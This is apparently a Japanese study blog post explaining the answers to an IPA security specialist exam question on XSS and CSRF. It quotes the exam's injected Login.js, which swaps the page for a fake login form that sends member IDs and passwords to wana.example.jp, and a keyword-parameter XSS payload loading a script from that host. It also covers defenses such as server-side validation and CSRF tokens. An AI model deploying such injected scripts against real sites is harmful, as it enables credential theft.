IPA 勉強

【解説】平成28年度 春期 情報セキュリティスペシャリスト試験 午後Ⅰ 問1

問題文はIPAのサイトから取得してください。

問題概要

この問題はWebシステムの画面遷移において、XSS(クロスサイトスクリプティング)及びCSRF(シーサーフ:クロスサイトリクエストフォージェリ)といった脆弱性に関する問題であった。 Webシステム構築を行い、脆弱性対策してた人にとっては簡単な問題だったんじゃないかなと思います。

解説

設問1 設問2 設問3

設問1

(1)本文中の【a】に入れる適切な字句を,FQDNで答えよ。

【a】が書かれている場所は5ページに記載されています。
Nさん:被害者が画面2-2'でメンバIDとパスワードを入力すると、それらは【a】というホスト名のWebサーバに送信されます。
2-2'は2-2にXSS脆弱性を受けて改変された画面であり、2-2'に改変するスクリプト(https://wana.example.jp/Login.js)の中身は図6 で記載されています。
[javascript]
document.body.innerHTML="";   //HTML body 部を全部消去する
document.write('<h1>ログイン</h1>');
document.write('M社懸賞ページへようこそ。ログインしてください。<br>');
document.write('<form name="loginForm" action="https://wana.example.jp/login" method="post"></form>');
document.write('メンバID<input type="text" name="id"><br>');
document.write('パスワード<input type="password" name="password">');
document.write('<input type="submit" name="send" value="ログイン"></form>')
[/javascript]
↑は問題に記載されていたJavaScriptを記載しています。 スクリプト処理の流れとしては
  1. <body>~</body>のデータをすべて削除する
  2. https://wana.example.jp/loginにメンバIDとパスワードを送信する画面を作る
上記よりhttps://wana.example.jp/loginが答えだ!ってそのまま書くと不正解です。 FQDN(完全修飾ドメイン名)で答えよなので、プロトコル部分(https://)とパス部分(/login)を抜いたwana.example.jpが答えになります。 答:wana.example.jp
必要知識
  • JavaScript(といってもdocument.writeがどういった意味なのかわかる程度)
  • HTMLタグ(Form actionがどういった意味なのかわかる程度)
  • FQDN(理解できる程度) ⇒FQDNがわからなくても3ページ1行目の「ホスト部は,全てkensho.m-sha.co.jp…」と5ページの「【a】というホスト名…」で気づけば解けるかも。 ⇒⇒あやふやな人は覚えておいたほうがいいと思う。

(2)画面2-2'を表示した時点で,Webブラウザのアドレスバーに表示されるURLのホスト部を,FQDNで答えよ。

画面2-1で入力したキーワードにJavaScriptの実行タグを埋め込まれると画面2-2の画面が改竄される(画面2-2'になる)だけです。 Login.jsの記述にはFormタグのみで、ページ移動するようなスクリプトは組み込まれていないことから表示されているURLは画面2-1、画面2-2と同様になります。 サンプルとして画面2-2画面2-2'を用意しました。
[html title="画面2-2のソース"]
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;検索結果&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;検索結果&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; [チョコ]を検索した結果です。&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; 1 ミルクチョコレートキャンペーン&amp;lt;br&amp;gt;
 2 ホワイトチョコレートキャンペーン&amp;lt;br&amp;gt;
 3 ブラックチョコレートキャンペーン&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
[/html]
[html title="画面2-2’のソース"]
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;検索結果&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;p&amp;gt;検索結果&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; [&amp;lt;script src="./Login.js"&amp;gt;&amp;lt;/script&amp;gt;]を検索した結果です。&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt; 1 ミルクチョコレートキャンペーン&amp;lt;br&amp;gt;
 2 ホワイトチョコレートキャンペーン&amp;lt;br&amp;gt;
 3 ブラックチョコレートキャンペーン&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
[/html]
[javascript title="Login.jsのソース"]
window.onload = function () {
        document.body.innerHTML="";   //HTML body 部を全部消去する
        document.write('&amp;lt;h1&amp;gt;ログイン&amp;lt;/h1&amp;gt;');
        document.write('M社懸賞ページへようこそ。ログインしてください。&amp;lt;br&amp;gt;');
        document.write('&amp;lt;form name="loginForm" action="https://wana.example.jp/login" method="post"&amp;gt;');
        document.write('メンバID&amp;lt;input type="text" name="id"&amp;gt;&amp;lt;br&amp;gt;');
        document.write('パスワード&amp;lt;input type="password" name="password"&amp;gt;');
        document.write('&amp;lt;input type="submit" name="send" value="ログイン"&amp;gt;&amp;lt;/form&amp;gt;');
}
[/javascript]
画面2-2'のHTMLソースは7行目をJavaScript実行できるように書き換えているだけです。 (Login.jsは少し手を加えています。Login.jsの配置場所も画面2-2'と同じ場所に置いています。) 画面2-2'はログインボタンを押せばwana.example.jpに遷移しますが、画面表示時はkaede.jpになっているはずです。 今回のLogin.jsにはlocation.href等のページ遷移処理がない為正規URLが答えになります。 3ページの1行目に「図1中の画面のURLのホスト部は,全てkensho.m-sha.co.jpであり…」と記載されており、問もFQDNで答えよなのでkensho.m-sha.co.jpが答えになります。 答:kensho.m-sha.co.jp
必要知識
  • JavaScript(リダイレクト処理がないか見極めれる程度)
  • HTMLタグ(Form actionに引っかからない程度)
  • FQDN(理解できる程度)

(3)本文中の【b】に入れる適切な字句を解答群の中から選び,記号で答えよ。

これは知識の問題なので知らなかったら適当に答えるしかないと思う。 一般的に略称(AjaxとかJSONとか)が有名すぎて正式名称がわからないことが多いと思います。 正式名称も時間があったら覚えておくことで点数アップにつながりますね。 各解答群の意味は
  • Asynchronous JavaScript + XML ⇒Ajaxのこと。画面遷移を行わず(非同期)にサーバとデータのやりとりができる。
  • HTTP Strict Transport Security ⇒HSTSのこと。HTTPでサーバーにアクセスしようとした場合、ブラウザ側でHTTPSに変換してサーバにアクセスする。 (1回目はHTTPでアクセスし、リダイレクト処理にてHTTPSに再度接続するが、2回目以降は常にHTTPSで接続するようになる。) (HSTS設定されていない場合、毎回HTTPでサーバにアクセスした後リダイレクト処理でHTTPSに再度接続する。)
  • JavaScript Object Notation ⇒JSONのこと。データ交換フォーマットの一部 どんなものなのかは下記URL参照 【JAVA】JSONデータの取得、作成方法
  • Same Origin Policy ⇒JavaScriptのセキュリティーのひとつ。同一Origin(FQDN、http等のスキーム、ポート番号が同一)のみデータ情報の取得が可能で、勝手に外部にデータが改竄・窃取されないようにする仕組みです。
文中に出てくるframeというのはWEBページを分割するタグのことでひと昔前ではかなり使用されていたタグである。(業務システムでは今も健在なとこが多い) frame内に別々のURLを記載することができ、複数ページをあたかも1つのページとして見えるようなタグである。 通常では正規サイト(kensho.m-sha.co.jp)と悪意のあるサイト(wana.example.jp)をframeタグで1つのURLに見せたとしても悪意のあるサイトに埋め込まれたJavaScriptから正規サイトの情報を取得することはできない。 もし、できたらframeサイトを用意するだけでデータ盗み放題になってしまう。 文中の内容と解答群の意味から【b】に当てはまるのはのみになる。 答:エ
必要知識
各選択肢の名称と内容(略称だけでなく正式名称も覚えておく)

(4)図7中の【c】,【d】に入れる適切な字句を答えよ。

この問題は(3)の続きになっていますが、文中で説明してくれているので(3)が解けなくても書けます。 まず、「<frame src="【c】?【d】=<script src=%22https://…」と記載されており、「<」の中に「<」があって混乱するかもしれませんが単純なgetパラメータであることに気づくのが鍵になると思います。%22は「"」をURLエンコードした文字列です。 なので単純に【c】のURLに【d】のパラメータに<script src=%22https://…を渡していることになります。 (※getパラメータは【URL】?【パラメータ】=【値】&【パラメータ】=【値】という形式になる為、【d】はパラメータの値になる。) また、【c】、【d】が記載されている図7は直前のNさんの会話よりXSS脆弱性を使った他の攻撃例であることもわかります。 これらのことより
  • XSS脆弱性(JavaScriptが実行可能)が発覚した画面はどこか・どういったパラメータを渡しているか
これがわかれば解けたも同然です。 図3よりXSS脆弱が発覚したのは画面2-2である為、画面2-2のURLになりますが、画面2-2のURLを探すことになります。 図7の注記を見ると「http://kensho.m-sha.co.jp/Gamen3_7は,図1の画面3-7を表示する際のURL」と書いているので 「http://kensho.m-sha.co.jp/Gamen2_2」と推測することができます。 また、4ページのNさんの発言にて「XSS脆弱性の影響は,…を組み込んだhttp://kensho.m-sha.co.jp/Gamen2_2へのリンクを含む電子メールを作成…」と画面2-2の脆弱性に対する説明がされているのでここででもURLがわかります。 パラメータは図4に記載されているJAVAソースが読める人はそこからパラメータを取得してもいいし、 4ページのNさんの発言にて「XSS脆弱性の影響は…例えば,攻撃者は,URLパラメタであるkeywordに攻撃用の文字列として<script src="https://wana…」から答えを導き出しもできます。 答:【c】https://kensho.m-sha.co.jp/Gamen2_2   【d】keyword 実際の試験場にてこの問題を解いたとき、この【c】の解答欄は自由記述式で上記URL(35文字)書くにはすごく不安になりました。 【c】の解答はSame Origin Policyにより、cの回答がhttp://…にしてしまうと不正解扱いになるんじゃないかな。Gamen2_2だけだとwana.example.jpにアクセスすることになるから意味なし(不正解)。
必要知識
HTMLタグ(iframeやHTMLエンコード等) getパラメータ JAVA(説明もあったのでそこまで重要でもない)

(5)本文中の下線①の窃取が成功するのは,検証システムにおいて,被害者がどのような状態にあるときか。20文字以内で述べよ。

まず、下線部①の内容は
画面3-7の表示内容が窃取される可能性があります。
画面3-7というのは図1よりメンバ登録情報の修正画面です。 図1の注記2より「ログインしていない状態で画面3-3~画面3-9のURLを指定した場合は、画面1-1へリダイレクトされる。」と記載されています。 ログインしていない場合は画面1-1(検証システムのトップページ)にリダイレクトされ、画面3-1にてログインを行わないと画面3-3、画面3-7へ遷移できません。 つまり、画面3-7に遷移するには懸賞メンバとしてログインしていることが条件になります。 なので、20文字に収まるように書けばOKです。どういった状態って聞かれているので「~状態」と解答すれば問題ないかと。 答:懸賞メンバとしてログインしている状態
必要知識
特になし

設問2

(1)図8中の【e】,【f】に入れる適切な字句を,それぞれ10文字以内で答えよ

まずはCSRFについて
クロスサイトリクエストフォージェリ(CSRF)とは、Webアプリケーションに存在する脆弱性、もしくはその脆弱性を利用した攻撃方法のことです。掲示板や問い合わせフォームなどを処理するWebアプリケーションが、本来拒否すべき他サイトからのリクエストを受信し処理してしまいます。(TREND MICROより)
では、CSRF対策は何するのか?よくある対策はトークンを付与する方法になります。 初めてWebアクセスしてきたユーザに個別のトークンを付与し、HTML文にトークン情報を埋め込みます。 サーバーはユーザからデータ受信後、ユーザから送信されたトークンとサーバに保存されたトークンを突き合わせて、一致すれば処理を行い、一致しなければ処理を拒否します。 ユーザ認証に近いですね。トークンはランダム文字列とか他のユーザとかぶらない文字列になります。 トークン非表示でかつサーバに送信する必要があるため、HTMLタグのhiddenフィールドに埋め込みます。 これらのことより、【e】にはトークン、【f】にはhiddenが入ります。 答:【e】:トークン 【f】:hidden IPAのサイトでは「【e】:ランダムな値」となっているが、トークンでもいいんじゃないかな。 余談ですが、CSRF対策を怠るとゆうちゃん事件(パソコン遠隔操作事件)みたいに冤罪が発生する場合があります。
男性Aは攻撃者サイトにアクセス。すると、自動的に掲示板サイトや問い合わせフォームに殺害予告の内容を送信される。 ⇒書込み元は男性Aとなりめでたく男性Aは誤認逮捕。冤罪成立という事件がありました。 (CSRFによる被害者は1人で残り4人はトロイの木馬ですけど)
必要知識
CSRFの特徴と対策方法 HTMLタグ

(2)表2中の【g】,【h】に入れる記号の適切な組み合わせを,解答群の中から選び,記号で答えよ。

CSRF対策の範囲はユーザーが意図しないデータを送信するのを防ぐ部分になります。 本問だとユーザAがとあるWebサイトにアクセスすると勝手にメンバ登録情報の修正をされたり、キャンペーンに勝手に応募されるのを防ぐにはどの画面遷移時に対策をしたらいいのかになります。 まず、必ずCSRFが必要なところはユーザが選択・入力したデータをサーバに送信させるところ。表1で送信情報を確認すると (い):キーワード (お):メンバID、パスワード (き):選択したキャンペーン名 (く),(け):応募必要事項 (し),(す):住所,氏名,電話番号,メールアドレス が該当しそうです。その内、ユーザがログインし、処理を行うところは(お),(き),(く),(け),(し),(す)になります。 (お),(き),(け)は既に表2より【対策を行う】 に入っている為、(く),(し),(す)が対策に含める欄にあるところを探します。 選択肢を見るとウのみになります。 答:ウ (い)が対象外の理由はログイン後の遷移ではない(誰でもキーワードを入力し、検索ができる)が理由になります。ログイン処理後、検索結果から応募ができる機能であればCSRF対策の対象になります。
必要知識
CSRFの特徴と対策方法

設問3

(1)本文中の下線②の検査では,攻撃を防御する上で効果を発揮しない理由を,40文字以内で具体的に述べよ。

下線②付近を確認
今回,XSS脆弱性の原因となった図4のソースコードを作成したT君に事情を聞いたところ,“②画面2-1においてWebブラウザのスクリプトで入力値を検査していたので,URLパラメタであるkeywordの値を信頼できるデータと判断して,出力データの生成にそのまま使用した”と答えた。
これを読んでサーバー側で検査せなダメじゃん!と思った方。そう思った理由答えを設問に沿って書けば正解です。 画面2-1が表示され、キーワード項目に値を入れて検索ボタンを送信すると画面2-2が表示されます。T君は図3の処理になると思い、画面2-1のWebブラウザのスクリプトで入力値を検査していました。 しかし、脆弱性が発見された手法は図7より「https://kensho.m-sha.co.jp/Gamen2_2?keyword=<script src=%22https://wana.example.jp/getFrame.js%22></script>」と画面2-2に直接アクセスする為画面2-1のWebブラウザのスクリプトによる入力値検査は意味をなさなくなります。 なので答えは 答:攻撃者は,画面2-1を経由させずに直接画面2-2へアクセスさせるから になります。攻撃者はなくても正解になるんじゃないかな。
必要知識
入力値検査の仕組み

(2)図10中の【i】に入れる適切な字句を,10字以内で答えよ。

【i】付近を抜粋
(1)入力値の取扱いについて (ア)入力値が正当かどうかを【i】で稼働するプログラムで確認する必要がある。
下線②Webブラウザのスクリプトで入力値を検査していた。しかしそれでは不十分なので他のところで入力値検査を行う必要があるということになります。 設問3 (1)にも記載していますが、サーバー側でも入力値検査する必要があります。 よって 答:サーバーサイド になります。サーバーでも文意に沿うし正解になるかな。 Webシステムにおいて、クライアントとサーバでデータのやりとりを行います。データの最終チェックはサーバー側で行うのが鉄則です。 Webブラウザのスクリプトによる入力値チェックはセルフチェックに近いもの(補助的なもの)と思っていたほうがいいです。 クライアント側のチェックとサーバー側のダブルチェックで複数条件が絡んだり、正規表現が絡むとめんどくさくなるのはまた別のお話。
必要知識
入力値検査の仕組み Webシステムにおけるデータの流れ

(3)図10中の【j】に入れる適切な字句を,5字以内で答えよ。

【j】付近を抜粋
(2)出力データの生成における信頼できるデータについて (ア)<>&"'を含まない文字列であっても,HTML内の出力される個所によっては,XSS脆弱性の原因となる場合があるので,信頼できるデータとはいえない。例えば,【j】を出力する箇所では,XSS脆弱性を防ぐために“javascript:”などの文字列を排除する必要がある。
ここでヒントとなるのはHTML内の出力される個所javascript:になる。とくにː(コロン)が重要。 まず、範囲がHTMLタグの中のどれかになる。さらに「javascript:」が使える部分となるとaリンクのhref属性が思いつけるかどうかが重要になります。 aタグのhref属性にjavascript:をつけると↓のようにスクリプトを実行することが可能です。 サンプル(アラートが出ます) サンプル(何もおきません)
[html title="サンプル(アラートが出ます)のソース"]
&amp;lt;a href="javascript:alert(new Date());"&amp;gt;サンプル(アラートが出ます)&amp;lt;/a&amp;gt;&amp;lt;br&amp;gt;
    &amp;lt;a href="javascript:void(0);"&amp;gt;サンプル(何もおきません)&amp;lt;/a&amp;gt;
[/html]
href属性は本来何を入力するところか?となるとURLを入力するところになる。 よって【j】はURLとわかる。 答:URL この問は結構難問と思う。私がHTMLでjavascript:を使うのはaタグhref属性しか思いつかない。 ここはフロントエンドの仕事をしたことある人やHTML・Javascriptをよく使う人じゃないと気付かない(というかそもそも知らない)と思います。

総評

この問題はWebシステムについて熟知している人向けの問題になるんじゃないかなと思います。XSS、CSRF、クライアント⇔サーバーのやりとり等やったことのない人だと難問だと思います。講評でも正答率は低かったと書いてますし。 それでも画面フロー図、内容をよく読むと文中にヒントがあったりするのでそれに気づけば6割はとれなくはないのかもです。(XSS、CSRF、FQDNだけでなくJavascript、HTMLのWeb知識がある程度知っていることが前提になりますが) 個人的に問1 (4)が難問でした。本当にこれであってるのか?と全部解いてから何度も見返すほど文字が長かったので

-IPA, 勉強
-, , ,